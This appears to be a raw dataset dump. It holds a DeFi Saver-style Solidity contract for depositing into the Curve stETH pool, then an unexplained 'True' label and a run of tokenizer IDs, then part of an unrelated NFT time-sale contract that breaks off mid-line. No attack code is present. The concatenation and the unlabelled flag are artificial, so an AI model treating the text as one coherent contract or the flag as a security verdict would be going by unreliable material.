function deposit() public payable virtual; function withdraw(uint256) public virtual; } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { (bool success, ) = _to.call{value: _amount}(""); require(success, "Eth send fail"); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } abstract contract IDFSRegistry { function getAddr(bytes32 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } contract MainnetAuthAddresses { address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR } contract AuthHelper is MainnetAuthAddresses { } contract AdminVault is AuthHelper { address public owner; address public admin; constructor() { owner = msg.sender; admin = ADMIN_ADDR; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { require(admin == msg.sender, "msg.sender not admin"); owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { require(admin == msg.sender, "msg.sender not admin"); admin = _admin; } } contract AdminAuth is AuthHelper { using SafeERC20 for IERC20; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); modifier onlyOwner() { require(adminVault.owner() == msg.sender, "msg.sender not owner"); _; } modifier onlyAdmin() { require(adminVault.admin() == msg.sender, "msg.sender not admin"); _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log( address _contract, address _caller, string memory _logName, bytes memory _data ) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract MainnetCoreAddresses { address internal constant DEFI_SAVER_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant PROXY_AUTH_ADDR = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF; } contract CoreHelper is MainnetCoreAddresses { } contract DFSRegistry is AdminAuth, CoreHelper { DefisaverLogger public constant logger = DefisaverLogger( DEFI_SAVER_LOGGER_ADDR ); string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists"; string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists"; string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process"; string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger"; string public constant ERR_CHANGE_NOT_READY = "Change not ready yet"; string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0"; string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change"; string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change"; struct Entry { address contractAddr; uint256 waitPeriod; uint256 changeStartTime; bool inContractChange; bool inWaitPeriodChange; bool exists; } mapping(bytes32 => Entry) public entries; mapping(bytes32 => address) public previousAddresses; mapping(bytes32 => address) public pendingAddresses; mapping(bytes32 => uint256) public pendingWaitTimes; /// @notice Given an contract id returns the registered address /// @dev Id is keccak256 of the contract name /// @param _id Id of contract function getAddr(bytes32 _id) public view returns (address) { return entries[_id].contractAddr; } /// @notice Helper function to easily query if id is registered /// @param _id Id of contract function isRegistered(bytes32 _id) public view returns (bool) { return entries[_id].exists; } /////////////////////////// OWNER ONLY FUNCTIONS /////////////////////////// /// @notice Adds a new contract to the registry /// @param _id Id of contract /// @param _contractAddr Address of the contract /// @param _waitPeriod Amount of time to wait before a contract address can be changed function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public onlyOwner { require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS); entries[_id] = Entry({ contractAddr: _contractAddr, waitPeriod: _waitPeriod, changeStartTime: 0, inContractChange: false, inWaitPeriodChange: false, exists: true }); // Remember tha address so we can revert back to old addr if needed previousAddresses[_id] = _contractAddr; logger.Log( address(this), msg.sender, "AddNewContract", abi.encode(_id, _contractAddr, _waitPeriod) ); } /// @notice Reverts to the previous address immediately /// @dev In case the new version has a fault, a quick way to fallback to the old contract /// @param _id Id of contract function revertToPreviousAddress(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR); address currentAddr = entries[_id].contractAddr; entries[_id].contractAddr = previousAddresses[_id]; logger.Log( address(this), msg.sender, "RevertToPreviousAddress", abi.encode(_id, currentAddr, previousAddresses[_id]) ); } /// @notice Starts an address change for an existing entry /// @dev Can override a change that is currently in progress /// @param _id Id of contract /// @param _newContractAddr Address of the new contract function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE); entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inContractChange = true; pendingAddresses[_id] = _newContractAddr; logger.Log( address(this), msg.sender, "StartContractChange", abi.encode(_id, entries[_id].contractAddr, _newContractAddr) ); } /// @notice Changes new contract address, correct time must have passed /// @param _id Id of contract function approveContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); address oldContractAddr = entries[_id].contractAddr; entries[_id].contractAddr = pendingAddresses[_id]; entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; pendingAddresses[_id] = address(0); previousAddresses[_id] = oldContractAddr; logger.Log( address(this), msg.sender, "ApproveContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Cancel pending change /// @param _id Id of contract function cancelContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); address oldContractAddr = pendingAddresses[_id]; pendingAddresses[_id] = address(0); entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Starts the change for waitPeriod /// @param _id Id of contract /// @param _newWaitPeriod New wait time function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE); pendingWaitTimes[_id] = _newWaitPeriod; entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inWaitPeriodChange = true; logger.Log( address(this), msg.sender, "StartWaitPeriodChange", abi.encode(_id, _newWaitPeriod) ); } /// @notice Changes new wait period, correct time must have passed /// @param _id Id of contract function approveWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); uint256 oldWaitTime = entries[_id].waitPeriod; entries[_id].waitPeriod = pendingWaitTimes[_id]; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; pendingWaitTimes[_id] = 0; logger.Log( address(this), msg.sender, "ApproveWaitPeriodChange", abi.encode(_id, oldWaitTime, entries[_id].waitPeriod) ); } /// @notice Cancel wait period change /// @param _id Id of contract function cancelWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); uint256 oldWaitPeriod = pendingWaitTimes[_id]; pendingWaitTimes[_id] = 0; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelWaitPeriodChange", abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod) ); } } contract MainnetActionsUtilAddresses { address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant DFS_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; } contract ActionsUtilHelper is MainnetActionsUtilAddresses { } abstract contract ActionBase is AdminAuth, ActionsUtilHelper { DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR); DefisaverLogger public constant logger = DefisaverLogger( DFS_LOGGER_ADDR ); string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value"; string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value"; /// @dev Subscription params index range [128, 255] uint8 public constant SUB_MIN_INDEX_VALUE = 128; uint8 public constant SUB_MAX_INDEX_VALUE = 255; /// @dev Return params index range [1, 127] uint8 public constant RETURN_MIN_INDEX_VALUE = 1; uint8 public constant RETURN_MAX_INDEX_VALUE = 127; /// @dev If the input value should not be replaced uint8 public constant NO_PARAM_MAPPING = 0; /// @dev We need to parse Flash loan actions in a different way enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION } /// @notice Parses inputs and runs the implemented action through a proxy /// @dev Is called by the TaskExecutor chaining actions together /// @param _callData Array of input values each value encoded as bytes /// @param _subData Array of subscribed vales, replaces input values if specified /// @param _paramMapping Array that specifies how return and subscribed values are mapped in input /// @param _returnValues Returns values from actions before, which can be injected in inputs /// @return Returns a bytes32 value through DSProxy, each actions implements what that value is function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual returns (bytes32); /// @notice Parses inputs and runs the single implemented action through a proxy /// @dev Used to save gas when executing a single action directly function executeActionDirect(bytes[] memory _callData) public virtual payable; /// @notice Returns the type of action we are implementing function actionType() public pure virtual returns (uint8); //////////////////////////// HELPER METHODS //////////////////////////// /// @notice Given an uint256 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamUint( uint _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (uint) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = uint(_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (uint)); } } return _param; } /// @notice Given an addr input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamAddr( address _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (address) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = address(bytes20((_returnValues[getReturnIndex(_mapType)]))); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (address)); } } return _param; } /// @notice Given an bytes32 input, injects return/sub values if specified /// @param _param The original input value /// @param _mapType Indicated the type of the input in paramMapping /// @param _subData Array of subscription data we can replace the input value with /// @param _returnValues Array of subscription data we can replace the input value with function _parseParamABytes32( bytes32 _param, uint8 _mapType, bytes[] memory _subData, bytes32[] memory _returnValues ) internal pure returns (bytes32) { if (isReplaceable(_mapType)) { if (isReturnInjection(_mapType)) { _param = (_returnValues[getReturnIndex(_mapType)]); } else { _param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32)); } } return _param; } /// @notice Checks if the paramMapping value indicated that we need to inject values /// @param _type Indicated the type of the input function isReplaceable(uint8 _type) internal pure returns (bool) { return _type != NO_PARAM_MAPPING; } /// @notice Checks if the paramMapping value is in the return value range /// @param _type Indicated the type of the input function isReturnInjection(uint8 _type) internal pure returns (bool) { return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in return array value /// @param _type Indicated the type of the input function getReturnIndex(uint8 _type) internal pure returns (uint8) { require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE); return (_type - RETURN_MIN_INDEX_VALUE); } /// @notice Transforms the paramMapping value to the index in sub array value /// @param _type Indicated the type of the input function getSubIndex(uint8 _type) internal pure returns (uint8) { require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE); return (_type - SUB_MIN_INDEX_VALUE); } } contract CurveStethPoolDeposit is ActionBase { using TokenUtils for address; address constant internal CURVE_STETH_POOL_ADDR = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; address constant internal STE_CRV_ADDR = 0x06325440D014e39736583c165C2963BA99fAf14E; address constant internal STETH_ADDR = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; struct Params { address from; // address where to pull tokens from address to; // address that will receive the LP tokens uint256[2] amounts; // amount of each token to deposit uint256 minMintAmount; // minimum amount of LP tokens to accept } function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual override returns (bytes32) { Params memory params = parseInputs(_callData); params.from = _parseParamAddr(params.from, _paramMapping[0], _subData, _returnValues); params.to = _parseParamAddr(params.to, _paramMapping[1], _subData, _returnValues); params.amounts[0] = _parseParamUint(params.amounts[0], _paramMapping[2], _subData, _returnValues); params.amounts[1] = _parseParamUint(params.amounts[1], _paramMapping[3], _subData, _returnValues); params.minMintAmount = _parseParamUint(params.minMintAmount, _paramMapping[4], _subData, _returnValues); uint256 receivedLp = _curveDeposit(params); return bytes32(receivedLp); } /// @inheritdoc ActionBase function executeActionDirect(bytes[] memory _callData) public payable virtual override { Params memory params = parseInputs(_callData); _curveDeposit(params); } /// @inheritdoc ActionBase function actionType() public pure virtual override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// /// @notice Deposits tokens into curve steth pool function _curveDeposit(Params memory _params) internal returns (uint256 receivedLp) { require(_params.to != address(0), "to cant be 0x0"); if (_params.amounts[0] != 0) { _params.amounts[0] = TokenUtils.WETH_ADDR.pullTokensIfNeeded(_params.from, _params.amounts[0]); TokenUtils.withdrawWeth(_params.amounts[0]); } if (_params.amounts[1] != 0) { _params.amounts[1] = STETH_ADDR.pullTokensIfNeeded(_params.from, _params.amounts[1]); STETH_ADDR.approveToken(CURVE_STETH_POOL_ADDR, _params.amounts[1]); } receivedLp = ICurveStethPool(CURVE_STETH_POOL_ADDR).add_liquidity{ value: _params.amounts[0] }(_params.amounts, _params.minMintAmount); STE_CRV_ADDR.withdrawTokens(_params.to, receivedLp); logger.Log( address(this), msg.sender, "CurveStethPoolDeposit", abi.encode(_params.amounts[0], _params.amounts[1], receivedLp) ); } function parseInputs(bytes[] memory _callData) internal pure returns (Params memory params) { params = abi.decode(_callData[0], (Params)); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 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pragma solidity ^0.4.23; /* Controls state and access rights for contract functions * @title Operational Control * @author Fazri Zubair & Farhan Khwaja (Lucid Sight, Inc.) * Inspired and adapted from contract created by OpenZeppelin * Ref: https://github.com/OpenZeppelin/zeppelin-solidity/ / contract OperationalControl { // Facilitates access & control for the game. // Roles: // -The Managers (Primary/Secondary): Has universal control of all elements (No ability to withdraw) // -The Banker: The Bank can withdraw funds and adjust fees / prices. // -otherManagers: Contracts that need access to functions for gameplay /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public managerPrimary; address public managerSecondary; address public bankManager; // Contracts that require access for gameplay mapping(address => uint8) public otherManagers; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; // @dev Keeps track whether the contract erroredOut. When that is true, most actions are blocked & refund can be claimed bool public error = false; /// @dev Operation modifiers for limiting access modifier onlyManager() { require(msg.sender == managerPrimary \|\| msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier onlyOtherManagers() { require(otherManagers[msg.sender] == 1); _; } modifier anyOperator() { require( msg.sender == managerPrimary \|\| msg.sender == managerSecondary \|\| msg.sender == bankManager \|\| otherManagers[msg.sender] == 1 ); _; } /// @dev Assigns a new address to act as the Other Manager. (State = 1 is active, 0 is disabled) function setOtherManager(address _newOp, uint8 _state) external onlyManager { require(_newOp != address(0)); otherManagers[_newOp] = _state; } /// @dev Assigns a new address to act as the Primary Manager. function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } /// @dev Assigns a new address to act as the Secondary Manager. function setSecondaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerSecondary = _newGM; } /// @dev Assigns a new address to act as the Banker. function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } / Pausable functionality adapted from OpenZeppelin / /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Modifier to allow actions only when the contract has Error modifier whenError { require(error); _; } /// @dev Called by any Operator role to pause the contract. /// Used only if a bug or exploit is discovered (Here to limit losses / damage) function pause() external onlyManager whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function unpause() public onlyManager whenPaused { // can't unpause if contract was upgraded paused = false; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function hasError() public onlyManager whenPaused { error = true; } /// @dev Unpauses the smart contract. Can only be called by the Game Master /// @notice This is public rather than external so it can be called by derived contracts. function noError() public onlyManager whenPaused { error = false; } } contract CSCNFTFactory { /* Public Functions / function getAssetDetails(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner ); function getAssetDetailsURI(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner, string metaUriAddress ); function getAssetRawMeta(uint256 _assetId) public view returns( uint256 dataA, uint128 dataB ); function getAssetIdItemType(uint256 _assetId) public view returns( uint256 assetType ); function getAssetIdTypeSequenceId(uint256 _assetId) public view returns( uint256 assetTypeSequenceId ); function getIsNFTAttached( uint256 _tokenId) public view returns( uint256 isAttached ); function getAssetIdCreator(uint256 _assetId) public view returns( address creator ); function getAssetIdOwnerAndOIndex(uint256 _assetId) public view returns( address owner, uint256 ownerIndex ); function getAssetIdOwnerIndex(uint256 _assetId) public view returns( uint256 ownerIndex ); function getAssetIdOwner(uint256 _assetId) public view returns( address owner ); function isAssetIdOwnerOrApproved(address requesterAddress, uint256 _assetId) public view returns( bool ); /// @param _owner The owner whose ships tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire NFT owners array looking for NFT belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens); // Get the name of the Asset type function getTypeName (uint32 _type) public returns(string); function RequestDetachment( uint256 _tokenId ) public; function AttachAsset( uint256 _tokenId ) public; function BatchAttachAssets(uint256[10] _ids) public; function BatchDetachAssets(uint256[10] _ids) public; function RequestDetachmentOnPause (uint256 _tokenId) public; function burnAsset(uint256 _assetID) public; function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / contract ERC721Receiver { /* * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` / bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /* * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` / function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract CSCTimeSaleManager is ERC721Holder, OperationalControl { //DATATYPES & CONSTANTS struct CollectibleSale { // Current owner of NFT (ERC721) address seller; // Price (in wei) at beginning of sale (For Buying) uint256 startingPrice; // Price (in wei) at end of sale (For Buying) uint256 endingPrice; // Duration (in seconds) of sale, 2592000 = 30 days uint256 duration; // Time when sale started // NOTE: 0 if this sale has been concluded uint64 startedAt; // Flag denoting is the Sale still active bool isActive; // address of the wallet who bought the asset address buyer; // ERC721 AssetID uint256 tokenId; } struct PastSales { uint256[5] sales; } // CSCNTFAddress address public NFTAddress; // Map from token to their corresponding sale. mapping (uint256 => CollectibleSale) public tokenIdToSale; // Count of AssetType Sales mapping (uint256 => uint256) public assetTypeSaleCount; // Last 5 Prices of AssetType Sales mapping (uint256 => PastSales) internal assetTypeSalePrices; uint256 public avgSalesToCount = 5; // type to sales of type mapping(uint256 => uint256[]) public assetTypeSalesTokenId; event SaleWinner(address owner, uint256 collectibleId, uint256 buyingPrice); event SaleCreated(uint256 tokenID, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint64 startedAt); event SaleCancelled(address seller, uint256 collectibleId); constructor() public { require(msg.sender != address(0)); paused = true; error = false; managerPrimary = msg.sender; managerSecondary = msg.sender; bankManager = msg.sender; } function setNFTAddress(address _address) public onlyManager { NFTAddress = _address; } function setAvgSalesCount(uint256 _count) public onlyManager { avgSalesToCount = _count; } /// @dev Creates and begins a new sale. function CreateSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } function BatchCreateSales(uint256[] _tokenIds, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } } function CreateSaleAvgPrice(uint256 _tokenId, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var cscNFT = CSCNFTFactory(NFTAddress); uint256 assetType = 